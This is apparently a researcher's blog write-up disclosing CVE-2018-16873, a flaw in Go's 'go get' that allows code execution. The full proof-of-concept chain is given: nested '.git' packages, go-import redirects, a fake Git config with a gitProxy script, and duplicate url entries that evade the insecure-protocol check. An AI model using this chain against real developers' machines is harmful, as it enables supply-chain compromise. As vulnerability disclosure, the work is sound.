Last year I stumbled across a vulnerability in Go’s go get command, which could lead to code execution when a malicious Go package was downloaded. I reported this to the Go team and it was subsequently assigned CVE-2018-16873. The actual vulnerability was really interesting since it was solely a logic vulnerability, where I abused the order in which packages were cloned by the go get command and how these would be laid out on disk. This makes it one of my personal favourite bugs.

How go get works

While trying to find different source code downloaders (or package managers) that made use of Git as a supporting service, I realised that go get is simply a git clone command with some extra bells and whistles thrown in. If we had to go get a really simple package, such as github.com/staaldraad/hello-go the following would happen.

  • Go get will check which version control system is used at https://github.com/staaldraad/hello-go
  • A check will be done to see if the package already exists on disk
  • If the package does not exist, the correct path is created
    • the path will be $GOPATH/src/<pkgname>
    • in this case: $GOPATH/src/github.com/staaldraad/hello-go
  • The downloaded package will be checked for other dependencies and these will be downloaded using the same steps as above
  • If the -u flag is specified in go get, then existing packages will be updated if needed

Looking into the directory created by the go get command, it is simply a Git repository:

$ ls -la $GOPATH/src/github.com/staaldraad/hello-go
drwx--x--x 1 staaldraad staaldraad  22 Feb 27 13:42 .
drwx--x--x 1 staaldraad staaldraad 244 Feb 17 20:01 ..
drwx--x--x 1 staaldraad staaldraad 182 Mar 28 11:29 .git
-rw-r--r-- 1 staaldraad staaldraad 124 Mar 28 11:29 main.go

It is also possible go get a “sub-package” of a package (not a real name, this is just what I call it). What this means is that there can be two packages that both share the same parent/root directory. The packages github.com/staaldraad/hello-go and github.com/staaldraad/hello-go/sub-go could now be “nested” together.

$ go get github.com/staaldraad/hello-go
$ go get github.com/staaldraad/hello-go/sub-go

$ ls -la $GOPATH/src/github.com/staaldraad/hello-go
drwx--x--x 1 staaldraad staaldraad  22 Feb 27 13:42 .
drwx--x--x 1 staaldraad staaldraad 244 Feb 17 20:01 ..
drwx--x--x 1 staaldraad staaldraad 182 Mar 28 11:29 .git
-rw-r--r-- 1 staaldraad staaldraad 124 Mar 28 11:29 main.go
drwx--x--x 1 staaldraad staaldraad 182 Mar 28 11:29 sub-go

$ ls -la $GOPATH/src/github.com/staaldraad/hello-go/sub-go
drwx--x--x 1 staaldraad staaldraad 182 Mar 28 11:29 .
drwx--x--x 1 staaldraad staaldraad 182 Mar 28 11:29 ..
drwx--x--x 1 staaldraad staaldraad 182 Mar 28 11:29 .git
-rw-r--r-- 1 staaldraad staaldraad 124 Mar 28 11:29 main.go

Looking at this I started wondering if it would be possible to have a “sub-package” named .git and have it overwrite the existing .git directory inside the parent package. If this was possible (spoiler: it was), the next time the parent package is updated, remember that go get -u downloads and updates the package and its dependencies, the content of the “sub-package” would be used as the GITDIR, rather than the .git directory that would normally exist.

Nesting dependencies

The initial idea was to create two packages, one called github.com/staaldraad/goget and the other github.com/staaldraad/goget/.git, and have these downloaded in the reverse order, so that when github.com/staaldraad/goget is downloaded (git cloned), the path $GOPATH/github.com/staaldraad/goget/.git would already exist, and this would get used by the Git when doing the clone/fetch.

main.go in github.com/staaldraad/goget/.git:

package gogetgit

import "github.com/staaldraad/goget"

func main(){
     //use the imported package to avoid "unused package" errors
    goget.Fun()
}

// A function that can be used by the package that imports this package
func Trig(){
}

main.go in github.com/staaldraad/goget:

package goget

// A function that can be used by the package that imports this package
func Fun(){
}

And finally you require a “trigger” package that kicks off the whole chain by importing goget/.git:

main.go in github.com/staaldraad/go-trigger:

package main

import "github.com/staaldraad/goget/.git"

func main(){
    //use the imported package to avoid "unused package" errors
    gogetgit.Trig()
}

Unfortunately it wasn’t this straight forward and it didn’t work. The very first problem I ran into actually had nothing to do with either Go or Git. The problem was that I was trying to nest Git repositories on GitHub, which is not possible. Fortunately there was a mechanism in go get that could help get around this (the other option would be to host the repositories on a Git server under my control, which I initially did, but discarded later for two reasons. One, it wasn’t necessary and two, it made reporting the issue much harder as it now required the Golang team to setup their own Git server. This isn’t hard but does complicate the reproduction steps).

So meta

Go get can use an intermediate server to redirect package downloads. This is done through go-import meta tags hosted on an HTTP server. The benefit of this is that you can give you package a custom name, say blah.myserver.com/staaldraad/goget but still host the repository on a Git service such as GitHub. The HTTP server on blah.myserver.com would simply need to respond to the URI for /staaldraad/goget with the go-import meta tag:

<meta name="go-import" content="blah.myserver.com/staaldraad/goget git https://github.com/staaldraad/goget"> 

Using this I slightly modified the PoC to rather use the package names blah.myserver.com/staaldraad/goget/.git and blah.myserver.com/staaldraad/goget and the correct meta redirects on my server:

<meta name="go-import" content="blah.myserver.com/staaldraad/goget/.git git https://github.com/staaldraad/gogetgit">
<meta name="go-import" content="blah.myserver.com/staaldraad/goget git https://github.com/staaldraad/goget"> 

This means changing the imports of the above Go files from github.com/staaldraad/ to blah.myserver.com/staaldraad/. Once this is done, I tried triggered the build again with go get -u github.com/staaldraad/go-trigger. Doing this is resulted in the following error:

$ go get -u github.com/staaldraad/go-trig
# cd /home/user/dev/go/src/blah.myserver.com/goget; git pull --ff-only
fatal: Not a git repository (or any of the parent directories): .git
package blah.myserver.com/goget: exit status 128

Which is immediately promising, since it indicates that the repositories were cloned in the correct order and now Git is trying to use our planted .git directory as a git repository. Because there aren’t any Git files in there, it ends up failing. The next step was to populate the directory with a fake Git history and relevant configs. To do this, I simply copied across the valid Git repository that existed in github.com/staaldraad/goget, since this is the repository that Git is trying to reference/clone.

$ cp -r goget/.git/* gogetgit/
$ cd gogetgit/
$ ls -la 
drwxr-xr-x 1 staaldraad staaldraad   0 Mar 26 19:09 branches
-rw-r--r-- 1 staaldraad staaldraad   5 Mar 26 19:09 COMMIT_EDITMSG
-rw-r--r-- 1 staaldraad staaldraad 246 Mar 26 19:09 config
-rw-r--r-- 1 staaldraad staaldraad  73 Mar 26 19:09 description
drwxr-xr-x 1 staaldraad staaldraad 144 Mar 26 18:59 .git
-rw-r--r-- 1 staaldraad staaldraad  23 Mar 26 19:09 HEAD
drwxr-xr-x 1 staaldraad staaldraad 364 Mar 26 19:09 hooks
-rw-r--r-- 1 staaldraad staaldraad 137 Mar 26 19:09 index
drwxr-xr-x 1 staaldraad staaldraad  14 Mar 26 19:09 info
drwxr-xr-x 1 staaldraad staaldraad  16 Mar 26 19:09 logs
-rw-r--r-- 1 staaldraad staaldraad  85 Mar 26 18:58 main.go
drwxr-xr-x 1 staaldraad staaldraad  28 Mar 26 19:09 objects
drwxr-xr-x 1 staaldraad staaldraad  32 Mar 26 19:09 refs

$ git add .
$ git commit -m "fake"
$ git push origin master

Now another go get -u github.com/staaldraad/go-trigger fails again but with a different message:

package blah.myserver.blah/goget: no Go files in /home/user/dev/go/src/blah.myserver.blah/goget

This seems to indicate that the fake Git repository was accepted but the main.go file had not been created. Thinking about it, it actually makes sense, since Git will check the references in the fake Git repository, and compare it with the remote server. Since the content hasn’t changed, no git fetch/pull happens and Git assumes that the files all already exist in the directory. Thus nothing is written to main.go as it “exists”.

Since the fake Git repository is being used, it made sense to see if it was possible to use it to trigger code execution. The missing main.go didn’t matter at this point.

Code execution with Git

Previously, when exploiting CVE-2018-112345, I showed that git-hooks can easily be used for code execution. These hooks are triggered on relevant Git actions and thus require that those specific Git actions are actually run.

Looking at the go get code for Git we can see which Git actions are executed: /get/vcs.go#L144

We have:

  • git clone
  • git pull
  • git show-ref
  • git checkout
  • git submodule update
  • git ls-remote

Sadly none of these actions trigger git-hooks, apart from git checkout, which wasn’t being hit during the go get. Back to reading documentation. One option built into Git is the ability to set a gitProxy, which is used when interacting with a remote repository over the git:// protocol. This could be perfect for getting code execution.

First I created a script in gogetgit to execute:

$ cat pew.sh
#!/bin/bash

echo abc > /tmp/pwnd

$ chmod +x pew.sh

And then modify the config file in gogetgit to include the gitProxy command and also to change the URI from https:// to git://:

[core]
        repositoryformatversion = 0
        filemode = true
        bare = false
        logallrefupdates = true
        gitProxy = .git/pew.sh
[remote "origin"]
        url = git://github.com/staaldraad/goget
        fetch = +refs/heads/*:refs/remotes/origin/*
[branch "master"]
        remote = origin
        merge = refs/heads/master

These files were all checked into the repository and I tried again. And this time a new error…

package blah.myserver.com/goget: cannot download, git://github.com/staaldraad/goget uses insecure protocol

What has happened is that go get verifies the URL for the remote repository and ensures that it uses a secure protocol, meaning an encrypted channel such as SSH or HTTPS. Because the config now specifies git://, which is a plain-text protocol, Go refuses to continue without the --insecure flag. Specifying this flag will allow the command execution to succeed, but is rather suspicious (who is going to trust a command with --insecure?):

$ go get -u --insecure github.com/staaldraad/go-trig
# cd /home/user/dev/go/src/blah.myserver.com/goget; git pull --ff-only
fatal: Could not read from remote repository.                                                                                                                                                            
Please make sure you have the correct access rights                                                                                                  
and the repository exists.                                                                                                                                                        
package blah.myserver.com/goget: exit status 1     

$ cat /tmp/xyz
abc

At this point I actually submitted the issue to the Golang team and added that “I’m sure there is a way around the –insecure”. The question of how to get around the --insecure flag kept nagging at me and I finally found a solution.

Security decisions

Looking at how go get determines the protocol, get/vcs.go#L177, I found that it is using the git config remote.origin.url command, which simply displays the relevant config option from .git/config. For no clear reason, I figured that I’d try “parameter pollution” and see what would happen if there are multiple entries for a config option.

[remote "origin"]
        url = git://github.com/staaldraad/goget
        url = https://github.com/staaldraad/goget

I was pleasantly surprised that this worked! Go no longer complained about the insecure protocol because git config remote.origin.url would return the last entry in the config file. Now the only question is if the gitProxy command would still be triggered. This config option is ignored for non-git:// URIs. Fortunately, Git internally uses the first config option it encounters, and is thus using git:// and triggering the gitProxy command.

Now when trying to fetch the package, the code execution is triggered, but there is still an error:

package blah.myserver.com/goget: no Go files in /home/user/dev/go/src/blah.myserver.com/goget

Onto the next step, getting rid of all errors.

Cleaning up

At this point a working exploit exists for this issue and could lead to code execution should a user or system try and go get -u the malicious package. The only problem that remains is the error messages, it would be great to get rid of these. The reason for the “no Go files” error is that Git hasn’t created the main.go file for us. As mentioned earlier, what happens at this point is go get does a git ls-remote https://github.com/staaldraad/goget/.git, which will need to contain an updated git history for the repository github.com/staaldraad/goget in order to trigger a go fetch. But because git history in our “fake” .git directory is simply a copy of the history of github.com/staaldraad/goget, Git determines that there are no changes and it doesn’t need to do anything. The missing main.go is simply treated as an untracked change to the current git branch, as if we deleted the file but never ran git rm; git commit. The trick is to ensure that when git ls-remote is run that the remote repository responds with a list of updates to force a git pull.

$ cd goget
$ echo "//comment" >> main.go
$ git add .
$ git commit -m "add a comment"
$ git push origin master

And then another round of trying to go get -u.

$ go get -u github.com/staaldraad/go-trig
# cd /home/user/dev/go/src/blah.myserver.com/goget; git pull --ff-only
fatal: Could not read from remote repository.

Please make sure you have the correct access rights
and the repository exists.
package rev.conch.cloud/goget: exit status 1

Almost there… Now because git fetch is expecting the gitProxy script to be returning git objects on STDOUT, it fails since nothing is being returned. Fortunately this can be dealt with in the gitProxy script.

Simply add the correct command to the pew.sh script:

GIT_TRACE_PACKET=1 git pull --ff-only -q  https://github.com/staaldraad/aab 2>&1 | grep -v "#" | grep "< " | awk -F"< " '{print $2}'

This issues the expected git pull --ff-only command, and uses GIT_TRACE_PACKET to echo out the various packets that Git sends and receives. Because we are only interested in the responses, use grep -v # to get rid of “comment” lines. Then grep < to only show responses and finally remove the extra information that GIT_TRACE_PACKET has added for readability.

Running the go get -u github.com/staaldraad/gotrigger will end up with nothing being displayed to the user (expected behaviour), code execution happening and all the relevant Go files being created in the package directory. At this point we actually have a valid Go package that could be used as normal, but have also achieved the goal of RCE. Is it RCE if no calc is popped? Hence, here is calc getting popped through a go get.

It is also important to note that this also works with go get -u -d, where -d instructs get to stop after downloading the packages; that is, it instructs get not to install the packages. This means no “build” happens, so the argument that I saw that “go get builds source, that is code execution, what did you expect?” is moot.

Conclusion

All in all this was a really interesting bug to play with. As mentioned in the intro, the vulnerability here is logic based and I’m pretty sure that other package managers might suffer from similar issues.

From Go’s side, the team were great to work with and communicated each step of the way, keeping me in the loop with what was happening. It should also be noted that this issue only affects the older $GOPATH method of installing packages, the newer (and future of Go) Go modules were not impacted.